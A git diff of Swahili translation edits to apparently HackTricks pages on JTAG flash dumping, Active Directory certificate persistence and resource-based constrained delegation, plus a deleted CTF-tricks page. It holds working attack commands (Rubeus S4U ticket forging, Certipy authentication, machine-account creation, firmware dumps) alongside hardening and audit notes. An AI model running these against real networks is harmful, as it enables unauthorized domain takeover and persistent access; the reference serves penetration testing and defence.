ESP‑USB‑JTAG (juu ya ESP32‑Sx). Unganisha angalau TCK, TMS, TDI, TDO, GND na Vtref; hiari TRST na SRST. ## Mawasiliano ya kwanza na OpenOCD (scan na IDCODE) @@ -56,18 +56,18 @@ openocd -f board/esp32s3-builtin.cfg -c "init; scan_chain; shutdown" ``` Notes - Ikiwa unapata "sifuri/mmoja zote" IDCODE, angalia wiring, nguvu, Vtref, na kwamba bandari haijafungwa na fuses/option bytes. -- Tazama OpenOCD low‑level `irscan`/`drscan` kwa ajili ya mwingiliano wa manual wa TAP unapofungua minyororo isiyojulikana. +- Tazama OpenOCD low‑level `irscan`/`drscan` kwa mwingiliano wa manual wa TAP unapofungua minyororo isiyojulikana. ## Kusimamisha CPU na kutupa kumbukumbu/flash -Mara tu TAP inapokubaliwa na script ya lengo imechaguliwa, unaweza kusimamisha msingi na kutupa maeneo ya kumbukumbu au flash ya ndani. Mifano (badilisha lengo, anwani za msingi na saizi): +Mara TAP inapokubaliwa na script ya lengo kuchaguliwa, unaweza kusimamisha msingi na kutupa maeneo ya kumbukumbu au flash ya ndani. Mifano (badilisha lengo, anwani za msingi na saizi): - Lengo la jumla baada ya kuanzisha: ``` openocd -f interface/jlink.cfg -f target/stm32f1x.cfg \ -c "init; reset halt; mdw 0x08000000 4; dump_image flash.bin 0x08000000 0x00100000; shutdown" ``` -- RISC‑V SoC (prefa SBA inapopatikana): +- RISC‑V SoC (pendelea SBA inapopatikana): ``` openocd -f interface/ftdi/ft232h.cfg -f target/riscv.cfg \ -c "init; riscv set_prefer_sba on; halt; dump_image sram.bin 0x80000000 0x20000; shutdown" @@ -85,9 +85,9 @@ Tips Hata wakati ufikiaji wa debug wa CPU umefungwa, boundary-scan bado inaweza kuwa wazi. Kwa UrJTAG/OpenOCD unaweza: - SAMPLE kuchukua picha za hali za pini wakati mfumo unafanya kazi (pata shughuli za basi, thibitisha ramani ya pini). -- EXTEST kuendesha pini (mfano, bit-bang mistari ya SPI flash ya nje kupitia MCU ili kuisoma mtandaoni ikiwa wiring ya bodi inaruhusu). +- EXTEST kuendesha pini (kwa mfano, bit-bang mistari ya SPI flash ya nje kupitia MCU ili kuisoma bila mtandao ikiwa wiring ya bodi inaruhusu). -Minimal UrJTAG flow with an FT2232x adapter: +Mchakato wa chini wa UrJTAG na adapter ya FT2232x: ``` jtag> cable ft2232 vid=0x0403 pid=0x6010 interface=1 jtag> frequency 100000 @@ -97,24 +97,24 @@ jtag> instruction EXTEST jtag> shift ir jtag> dr ``` -Unahitaji kifaa BSDL ili kujua mpangilio wa bit za register za mpaka. Kuwa makini kwamba wauzaji wengine wanaweza kufunga seli za uchunguzi wa mpaka katika uzalishaji. +Unahitaji kifaa BSDL ili kujua mpangilio wa bit za register za mipaka. Kuwa makini kwamba wauzaji wengine wanafungia seli za uchunguzi wa mipaka katika uzalishaji. ## Malengo ya kisasa na maelezo -- ESP32‑S3/C3 inajumuisha daraja la USB‑JTAG la asili; OpenOCD inaweza kuzungumza moja kwa moja kupitia USB bila kipimo cha nje. Ni rahisi sana kwa uchambuzi na dump. -- Ufuatiliaji wa RISC‑V (v0.13+) unasaidiwa sana na OpenOCD; pendelea SBA kwa ufikiaji wa kumbukumbu wakati kiini hakiwezi kuzuiwa kwa usalama. -- MCU nyingi zinafanya uthibitisho wa ufuatiliaji na hali za mzunguko. Ikiwa JTAG inaonekana kufa lakini nguvu ni sahihi, kifaa kinaweza kuwa kimeunganishwa katika hali iliyofungwa au kinahitaji kipimo kilichothibitishwa. +- ESP32‑S3/C3 inajumuisha daraja la USB‑JTAG asilia; OpenOCD inaweza kuzungumza moja kwa moja kupitia USB bila kipimo cha nje. Ni rahisi sana kwa uchambuzi na dump. +- Ufuatiliaji wa RISC‑V (v0.13+) unasaidiwa sana na OpenOCD; pendelea SBA kwa ufikiaji wa kumbukumbu wakati kiini hakiwezi kusimamishwa salama. +- MCU nyingi zinafanya uthibitisho wa ufuatiliaji na hali za mzunguko wa maisha. Ikiwa JTAG inaonekana kufa lakini nguvu ni sahihi, kifaa kinaweza kuwa kimeunganishwa kwenye hali iliyofungwa au kinahitaji kipimo kilichothibitishwa. ## Ulinzi na kuimarisha (kila unachoweza kutarajia kwenye vifaa halisi) -- Zima kabisa au fungia JTAG/SWD katika uzalishaji (mfano, STM32 RDP kiwango 2, ESP eFuses zinazozuia PAD JTAG, NXP/Nordic APPROTECT/DPAP). +- Zima kabisa au fungia JTAG/SWD katika uzalishaji (mfano, STM32 RDP kiwango cha 2, ESP eFuses zinazozuia PAD JTAG, NXP/Nordic APPROTECT/DPAP). - Hitaji uthibitisho wa ufuatiliaji (ARMv8.2‑A ADIv6 Uthibitisho wa Ufuatiliaji, changamoto-ujibu inayosimamiwa na OEM) huku ukihifadhi ufikiaji wa utengenezaji. -- Usipange pad za mtihani rahisi; ficha vias za mtihani, ondoa/jaza upinzani ili kutenga TAP, tumia viunganishi vyenye funguo au vifaa vya pogo‑pin. +- Usipange pad za majaribio rahisi; ficha vias za majaribio, ondoa/jaza upinzani ili kutenga TAP, tumia viunganishi vyenye funguo au vifaa vya pogo‑pin. - Kufunga ufuatiliaji wa nguvu: funga TAP nyuma ya ROM ya mapema inayolazimisha kuanza salama. ## Marejeleo -- OpenOCD User’s Guide – Amri za JTAG na usanidi. https://openocd.org/doc-release/html/JTAG-Commands.html -- Espressif ESP32‑S3 Ufuatiliaji wa JTAG (USB‑JTAG, matumizi ya OpenOCD). https://docs.espressif.com/projects/esp-idf/en/latest/esp32s3/api-guides/jtag-debugging/ +- OpenOCD User’s Guide – JTAG Commands and configuration. https://openocd.org/doc-release/html/JTAG-Commands.html +- Espressif ESP32‑S3 JTAG debugging (USB‑JTAG, OpenOCD usage). https://docs.espressif.com/projects/esp-idf/en/latest/esp32s3/api-guides/jtag-debugging/ {{#include ../../banners/hacktricks-training.md}} diff --git a/src/todo/misc.md b/src/todo/misc.md deleted file mode 100644 index 70ffbf29b..000000000 --- a/src/todo/misc.md +++ /dev/null @@ -1,57 +0,0 @@ -{{#include ../banners/hacktricks-training.md}} - -Katika jibu la ping TTL:\ -127 = Windows\ -254 = Cisco\ -Mengine, baadhi ya linux - -$1$- md5\ -$2$au $2a$ - Blowfish\ -$5$- sha256\ -$6$- sha512 - -Ikiwa hujui kilicho nyuma ya huduma, jaribu kufanya ombi la HTTP GET. - -**UDP Scans**\ -nc -nv -u -z -w 1 \ 160-16 - -Pakiti tupu ya UDP inatumwa kwa bandari maalum. Ikiwa bandari ya UDP iko wazi, hakuna jibu litatumwa kutoka kwa mashine lengwa. Ikiwa bandari ya UDP imefungwa, pakiti ya ICMP port unreachable inapaswa kutumwa kutoka kwa mashine lengwa.\ - -Kuchunguza bandari za UDP mara nyingi hakutegemeki, kwani firewalls na routers zinaweza kuondoa pakiti za ICMP\ -hii inaweza kusababisha matokeo ya uwongo katika uchunguzi wako, na utaona mara kwa mara\ -uchunguzi wa bandari za UDP ukionyesha bandari zote za UDP zikiwa wazi kwenye mashine iliyochunguzwa.\ -au Skana nyingi za bandari hazichunguze bandari zote zinazopatikana, na kwa kawaida zina orodha iliyowekwa ya “bandari za kuvutia” zinazochunguzwa. - -# CTF - Tricks - -Katika **Windows** tumia **Winzip** kutafuta faili.\ -**Alternate data Streams**: _dir /r | find ":$DATA"_\ -``` -binwalk --dd=".*" #Extract everything -binwalk -M -e -d=10000 suspicious.pdf #Extract, look inside extracted files and continue extracing (depth of 10000) -``` -## Crypto - -**featherduster**\ - -**Basae64**(6—>8) —> 0...9, a...z, A…Z,+,/\ -**Base32**(5 —>8) —> A…Z, 2…7\ -**Base85** (Ascii85, 7—>8) —> 0...9, a...z, A...Z, ., -, :, +, =, ^, !, /, \*, ?, &, <, >, (, ), \[, ], {, }, @, %, $, #\ -**Uuencode** --> Anza na "_begin \ \_" na herufi za ajabu\ -**Xxencoding** --> Anza na "_begin \ \_" na B64\ -\ -**Vigenere** (uchambuzi wa masafa) —> [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver)\ -**Scytale** (mabadiliko ya wahusika) —> [https://www.dcode.fr/scytale-cipher](https://www.dcode.fr/scytale-cipher) - -**25x25 = QR** - -factordb.com\ -rsatool - -Snow --> Ficha ujumbe kwa kutumia nafasi na tab - -# Characters - -%E2%80%AE => Mwandiko wa RTL (andika payloads kwa nyuma) - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md b/src/windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md index 899a1da73..6a575a452 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md @@ -32,11 +32,11 @@ Rubeus.exe asktgt /user:john /certificate:C:\Temp\cert.pfx /password:CertPass! / # Or with Certipy certipy auth -pfx user.pfx -dc-ip 10.0.0.10 ``` -> Kumbuka: Iwapo inachanganywa na mbinu nyingine (angalia sehemu za THEFT), uthibitisho wa msingi wa cheti unaruhusu ufikiaji wa kudumu bila kugusa LSASS na hata kutoka kwa muktadha usio na kiwango cha juu. +> Kumbuka: Imeunganishwa na mbinu nyingine (ona sehemu za THEFT), uthibitisho wa msingi wa cheti unaruhusu ufikiaji wa kudumu bila kugusa LSASS na hata kutoka kwa muktadha usio na kiwango cha juu. ## Kupata Uthibitisho wa Mashine kwa kutumia Vyeti - PERSIST2 -Iwapo mshambuliaji ana mamlaka ya juu kwenye mwenyeji, wanaweza kujiandikisha kwa akaunti ya mashine ya mfumo ulioathiriwa kwa cheti wakitumia kigezo cha `Machine` cha kawaida. Kujiandikisha kama mashine kunaruhusu S4U2Self kwa huduma za ndani na kunaweza kutoa uthibitisho wa kudumu wa mwenyeji: +Ikiwa mshambuliaji ana mamlaka ya juu kwenye mwenyeji, wanaweza kujiandikisha kwa akaunti ya mashine ya mfumo ulioathiriwa kwa cheti kwa kutumia kigezo cha `Machine` cha kawaida. Kujiandikisha kama mashine kunaruhusu S4U2Self kwa huduma za ndani na kunaweza kutoa uthibitisho wa kudumu wa mwenyeji: ```bash # Request a machine certificate as SYSTEM Certify.exe request /ca:dc.theshire.local/theshire-DC-CA /template:Machine /machine @@ -46,7 +46,7 @@ Rubeus.exe asktgt /user:HOSTNAME$ /certificate:C:\Temp\host.pfx /password:Passw0 ``` ## Extending Persistence Through Certificate Renewal - PERSIST3 -Kunyanyua muda wa uhalali na kipindi cha upya wa mifano ya vyeti kunaruhusu mshambuliaji kudumisha ufikiaji wa muda mrefu. Ikiwa una cheti kilichotolewa hapo awali na funguo yake ya faragha, unaweza kukiunda upya kabla ya kuisha ili kupata akreditivu mpya, ya muda mrefu bila kuacha mabaki ya maombi yanayohusiana na msingi wa awali. +Kunyanyua muda wa uhalali na kipindi cha upya wa mifano ya vyeti kunaruhusu mshambuliaji kudumisha ufikiaji wa muda mrefu. Ikiwa una cheti kilichotolewa hapo awali na funguo yake ya faragha, unaweza kuki renew kabla ya kuisha muda ili kupata akreditivu mpya, ya muda mrefu bila kuacha mabaki ya maombi yanayohusiana na msingi wa awali. ```bash # Renewal with Certipy (works with RPC/DCOM/WebEnrollment) # Provide the existing PFX and target the same CA/template when possible @@ -57,18 +57,18 @@ certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' \ # (use the serial/thumbprint of the cert to renew; reusekeys preserves the keypair) certreq -enroll -user -cert renew [reusekeys] ``` -> Ushauri wa operesheni: Fuata muda wa maisha ya faili za PFX zinazoshikiliwa na mshambuliaji na upya mapema. Upya unaweza pia kusababisha vyeti vilivyosasishwa kujumuisha kiambatisho cha ramani ya SID ya kisasa, na kuviweka vinatumika chini ya sheria kali za ramani za DC (angalia sehemu inayofuata). +> Ushauri wa operesheni: Fuata muda wa maisha ya faili za PFX zinazoshikiliwa na mshambuliaji na upya mapema. Upya unaweza pia kusababisha vyeti vilivyosasishwa kujumuisha kiambatisho cha ramani ya SID ya kisasa, na kuendelea kuwa na matumizi chini ya sheria kali za ramani za DC (tazama sehemu inayofuata). ## Kupanda Ramani za Vyeti Zenye Ufafanuzi (altSecurityIdentities) – PERSIST4 -Ikiwa unaweza kuandika kwenye sifa ya `altSecurityIdentities` ya akaunti lengwa, unaweza kuweka ramani wazi ya cheti kinachodhibitiwa na mshambuliaji kwa akaunti hiyo. Hii inabaki kuwa na nguvu hata baada ya mabadiliko ya nywila na, unapokuwa ukitumia muundo wa ramani wenye nguvu, inabaki kufanya kazi chini ya utekelezaji wa kisasa wa DC. +Ikiwa unaweza kuandika kwenye sifa ya `altSecurityIdentities` ya akaunti lengwa, unaweza waziwazi kuunganisha cheti kinachodhibitiwa na mshambuliaji kwa akaunti hiyo. Hii inabaki kuwa na nguvu hata baada ya mabadiliko ya nywila na, unapokuwa ukitumia muundo wa ramani wenye nguvu, inabaki kufanya kazi chini ya utekelezaji wa kisasa wa DC. Mchakato wa juu: -1. Pata au tolea cheti cha uthibitishaji wa mteja unachodhibiti (mfano, jiandikishe kwenye template ya `User` kama wewe mwenyewe). +1. Pata au tolea cheti cha uthibitishaji wa mteja unachodhibiti (mfano, jiandikishe kwa template ya `User` kama wewe mwenyewe). 2. Toa kitambulisho chenye nguvu kutoka kwa cheti (Mtoaji+Serial, SKI, au SHA1-PublicKey). 3. Ongeza ramani wazi kwenye `altSecurityIdentities` ya mhusika wa kisa kwa kutumia kitambulisho hicho. -4. Thibitisha na cheti chako; DC inakifanya kuwa na nguvu kwa mhusika kupitia ramani wazi. +4. Thibitisha na cheti chako; DC inakifanya kuwa na uhusiano na mhusika kupitia ramani wazi. Mfano (PowerShell) ukitumia ramani yenye nguvu ya Mtoaji+Serial: ```powershell @@ -86,7 +86,7 @@ certipy auth -pfx attacker_user.pfx -dc-ip 10.0.0.10 ``` Notes - Tumia aina za ramani zenye nguvu tu: X509IssuerSerialNumber, X509SKI, au X509SHA1PublicKey. Mifumo dhaifu (Subject/Issuer, Subject-only, RFC822 email) imeondolewa na inaweza kuzuiwa na sera ya DC. -- Mnyororo wa cheti lazima ujenge hadi mzizi unaotambulika na DC. CAs za biashara katika NTAuth kwa kawaida zinatambulika; mazingira mengine pia yanatambua CAs za umma. +- Mnyororo wa cheti lazima ujenge hadi kwenye mzizi unaotambulika na DC. CAs za biashara katika NTAuth kwa kawaida zinatambulika; mazingira mengine pia yanatambua CAs za umma. Kwa maelezo zaidi kuhusu ramani dhaifu za wazi na njia za shambulio, angalia: @@ -96,7 +96,7 @@ domain-escalation.md ## Enrollment Agent as Persistence – PERSIST5 -Ikiwa unapata cheti halali cha Certificate Request Agent/Enrollment Agent, unaweza kutunga cheti mpya zenye uwezo wa kuingia kwa niaba ya watumiaji kwa hiari na kuweka PFX ya wakala mtandaoni kama tokeni ya kudumu. Njia ya matumizi: +Ikiwa unapata cheti halali cha Certificate Request Agent/Enrollment Agent, unaweza kutunga cheti mpya zenye uwezo wa kuingia kwa niaba ya watumiaji kwa hiari na kuweka agent PFX mtandaoni kama tokeni ya kudumu. Njia ya matumizi: ```bash # Request an Enrollment Agent cert (requires template rights) Certify.exe request /ca:CA-SERVER\CA-NAME /template:"Certificate Request Agent" @@ -124,7 +124,7 @@ Administrators should monitor and alert on: ## References -- Microsoft. KB5014754: Mabadiliko ya uthibitishaji wa msingi wa cheti kwenye kudhibiti eneo la Windows (muda wa utekelezaji na ramani za nguvu). +- Microsoft. KB5014754: Mabadiliko ya uthibitishaji wa msingi wa cheti kwenye wakala wa kikoa cha Windows (muda wa utekelezaji na ramani za nguvu). https://support.microsoft.com/en-au/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16 - Certipy Wiki – Rejea ya Amri (`req -renew`, `auth`, `shadow`). https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference diff --git a/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md b/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md index 43fd07237..69d4df990 100644 --- a/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md +++ b/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md @@ -16,7 +16,7 @@ Tofauti nyingine muhimu kutoka kwa Constrained Delegation hii hadi delegations n Katika Constrained Delegation ilisemwa kwamba bendera ya **`TrustedToAuthForDelegation`** ndani ya thamani ya _userAccountControl_ ya mtumiaji inahitajika ili kutekeleza **S4U2Self.** Lakini hiyo si kweli kabisa.\ Ukweli ni kwamba hata bila thamani hiyo, unaweza kutekeleza **S4U2Self** dhidi ya mtumiaji yeyote ikiwa wewe ni **huduma** (una SPN) lakini, ikiwa una **`TrustedToAuthForDelegation`** TGS iliyorejeshwa itakuwa **Forwardable** na ikiwa **huna** bendera hiyo TGS iliyorejeshwa **haitakuwa** **Forwardable**. -Hata hivyo, ikiwa **TGS** iliyotumika katika **S4U2Proxy** **SIO Forwardable** kujaribu kutumia **Constrained Delegation ya msingi** hakutafanya kazi. Lakini ikiwa unajaribu kutumia **Resource-Based constrained delegation, itafanya kazi**. +Hata hivyo, ikiwa **TGS** iliyotumika katika **S4U2Proxy** **SIO Forwardable** kujaribu kutumia **basic Constrain Delegation** hakutafanya kazi. Lakini ikiwa unajaribu kutumia **Resource-Based constrain delegation, itafanya kazi**. ### Muundo wa Shambulio @@ -26,7 +26,7 @@ Fikiria kwamba mshambuliaji tayari ana **ruhusa sawa za kuandika juu ya kompyuta 1. Mshambuliaji **anachafua** akaunti ambayo ina **SPN** au **anaunda moja** (“Huduma A”). Kumbuka kwamba **mtumiaji yeyote** _Admin User_ bila ruhusa nyingine maalum anaweza **kuunda** hadi vitu 10 vya Kompyuta (**_MachineAccountQuota_**) na kuviweka SPN. Hivyo mshambuliaji anaweza tu kuunda kitu cha Kompyuta na kuweka SPN. 2. Mshambuliaji **anatumia ruhusa zake za KUANDIKA** juu ya kompyuta ya mwathirika (HudumaB) ili kuunda **resource-based constrained delegation ili kuruhusu HudumaA kujifanya mtumiaji yeyote** dhidi ya kompyuta hiyo ya mwathirika (HudumaB). -3. Mshambuliaji anatumia Rubeus kutekeleza **shambulio kamili la S4U** (S4U2Self na S4U2Proxy) kutoka Huduma A hadi Huduma B kwa mtumiaji **mwenye ufikiaji wa ruhusa kwa Huduma B**. +3. Mshambuliaji anatumia Rubeus kutekeleza **shambulio kamili la S4U** (S4U2Self na S4U2Proxy) kutoka Huduma A hadi Huduma B kwa mtumiaji **aliye na ufikiaji wa ruhusa kwa Huduma B**. 1. S4U2Self (kutoka akaunti ya SPN iliyochafuliwa/iliyoundwa): Omba **TGS ya Msimamizi kwangu** (Sio Forwardable). 2. S4U2Proxy: Tumia **TGS isiyo Forwardable** ya hatua iliyopita kuomba **TGS** kutoka **Msimamizi** hadi **kompyuta ya mwathirika**. 3. Hata kama unatumia TGS isiyo Forwardable, kwani unatumia Resource-based constrained delegation, itafanya kazi. @@ -48,7 +48,7 @@ New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString ' # Check if created Get-DomainComputer SERVICEA ``` -### Kuunda Uwakilishi wa Kizazi Kizuri Kulingana na Rasilimali +### Kuunda Uwakilishi wa Kizazi Kimefungwa Kulingana na Rasilimali **Kutumia moduli ya activedirectory PowerShell** ```bash @@ -72,16 +72,16 @@ msds-allowedtoactonbehalfofotheridentity ``` ### Kufanya shambulio kamili la S4U (Windows/Rubeus) -Kwanza kabisa, tuliumba kitu kipya cha Kompyuta chenye nenosiri `123456`, hivyo tunahitaji hash ya nenosiri hilo: +Kwanza kabisa, tuliumba kituo kipya cha Kompyuta chenye nenosiri `123456`, hivyo tunahitaji hash ya nenosiri hilo: ```bash .\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local ``` -Hii itachapisha hash za RC4 na AES za akaunti hiyo.\ +Hii itachapisha hash za RC4 na AES kwa akaunti hiyo.\ Sasa, shambulio linaweza kufanywa: ```bash rubeus.exe s4u /user:FAKECOMPUTER$ /aes256: /aes128: /rc4: /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /domain:domain.local /ptt ``` -Unaweza kuunda tiketi zaidi za huduma zaidi kwa kuuliza mara moja ukitumia param ya `/altservice` ya Rubeus: +Unaweza kuunda tiketi zaidi za huduma zaidi kwa kuomba mara moja ukitumia paramu ya `/altservice` ya Rubeus: ```bash rubeus.exe s4u /user:FAKECOMPUTER$ /aes256: /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt ``` @@ -119,15 +119,15 @@ Katika mfano huu, ilihitajika TGS kwa huduma ya **CIFS** kutoka kwa Administrato ```bash ls \\victim.domain.local\C$ ``` -### Abuse different service tickets +### Kunyanyasa tiketi tofauti za huduma -Learn about the [**available service tickets here**](silver-ticket.md#available-services). +Jifunze kuhusu [**tiketi za huduma zinazopatikana hapa**](silver-ticket.md#available-services). -## Enumerating, auditing and cleanup +## Kuorodhesha, kukagua na kusafisha -### Enumerate computers with RBCD configured +### Orodhesha kompyuta zenye RBCD iliyowekwa -PowerShell (decoding the SD to resolve SIDs): +PowerShell (kufungua SD ili kutatua SIDs): ```powershell # List all computers with msDS-AllowedToActOnBehalfOfOtherIdentity set and resolve principals Import-Module ActiveDirectory @@ -166,12 +166,12 @@ impacket-rbcd -delegate-to 'VICTIM$' -action flush 'domain.local/jdoe:Summer2025 ## Makosa ya Kerberos - **`KDC_ERR_ETYPE_NOTSUPP`**: Hii inamaanisha kwamba kerberos imewekwa ili isitumie DES au RC4 na unatoa tu hash ya RC4. Toa kwa Rubeus angalau hash ya AES256 (au toa tu hash za rc4, aes128 na aes256). Mfano: `[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())` -- **`KRB_AP_ERR_SKEW`**: Hii inamaanisha kwamba wakati wa kompyuta ya sasa ni tofauti na wa DC na kerberos haifanyi kazi ipasavyo. +- **`KRB_AP_ERR_SKEW`**: Hii inamaanisha kwamba muda wa kompyuta ya sasa ni tofauti na wa DC na kerberos haifanyi kazi ipasavyo. - **`preauth_failed`**: Hii inamaanisha kwamba jina la mtumiaji lililotolewa + hash hazifanyi kazi kuingia. Huenda umesahau kuweka "$" ndani ya jina la mtumiaji unapozalisha hash (`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`) - **`KDC_ERR_BADOPTION`**: Hii inaweza kumaanisha: - Mtumiaji unayejaribu kujifanya siwezi kufikia huduma inayotakiwa (kwa sababu huwezi kujifanya au kwa sababu hana ruhusa za kutosha) -- Huduma iliyoulizwa haipo (ikiwa unahitaji tiketi kwa winrm lakini winrm haifanyi kazi) -- Kompyuta ya uwongo iliyoundwa imepoteza ruhusa zake juu ya seva iliyo hatarini na unahitaji kuzirudisha. +- Huduma iliyoulizwa haipo (ikiwa unahitaji tiketi ya winrm lakini winrm haifanyi kazi) +- Kompyuta ya bandia iliyoundwa imepoteza ruhusa zake juu ya seva iliyo hatarini na unahitaji kuzirudisha. - Unatumia KCD ya kawaida; kumbuka RBCD inafanya kazi na tiketi zisizoweza kuhamasishwa za S4U2Self, wakati KCD inahitaji tiketi zinazoweza kuhamasishwa. ## Maelezo, relays na mbadala @@ -196,7 +196,7 @@ adws-enumeration.md - [https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/](https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/) - [https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61](https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61) - Impacket rbcd.py (rasmi): https://github.com/fortra/impacket/blob/master/examples/rbcd.py -- Karatasi ya haraka ya Linux yenye sintaksia ya hivi karibuni: https://tldrbins.github.io/rbcd/ +- Karatasi ya haraka ya Linux yenye sintaksia za hivi karibuni: https://tldrbins.github.io/rbcd/ {{#include ../../banners/hacktricks-training.md}}